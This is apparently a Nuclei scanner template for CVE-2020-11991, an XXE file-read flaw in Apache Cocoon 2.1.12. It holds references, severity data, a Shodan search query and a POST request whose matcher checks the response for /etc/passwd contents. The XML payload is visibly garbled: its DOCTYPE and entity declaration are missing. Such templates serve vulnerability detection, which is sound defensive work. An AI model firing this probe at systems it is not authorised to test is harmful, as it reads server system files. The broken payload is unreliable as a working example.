id: CVE-2020-11991 info: name: Apache Cocoon 2.1.12 - XML Injection author: pikpikcu severity: high description: Apache Cocoon 2.1.12 is susceptible to XML injection. When using the StreamGenerator, the code parses a user-provided XML. A specially crafted XML, including external system entities, can be used to access any file on the server system. reference: - https://lists.apache.org/thread/6xg5j4knfczwdhggo3t95owqzol37k1b - https://nvd.nist.gov/vuln/detail/CVE-2020-11991 - https://lists.apache.org/thread.html/r77add973ea521185e1a90aca00ba9dae7caa8d8b944d92421702bb54%40%3Cusers.cocoon.apache.org%3E remediation: Upgrade to Apache Cocoon 2.1.13 or later. classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2020-11991 cwe-id: CWE-611 epss-score: 0.84866 cpe: cpe:2.3:a:apache:cocoon:*:*:*:*:*:*:*:* metadata: max-request: 1 shodan-query: http.html:"Apache Cocoon" vendor: apache product: cocoon tags: cve,cve2020,apache,xml,cocoon,xxe http: - method: POST path: - "{{BaseURL}}/v2/api/product/manger/getInfo" body: | ]> John &ent; headers: Content-Type: "text/xml" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200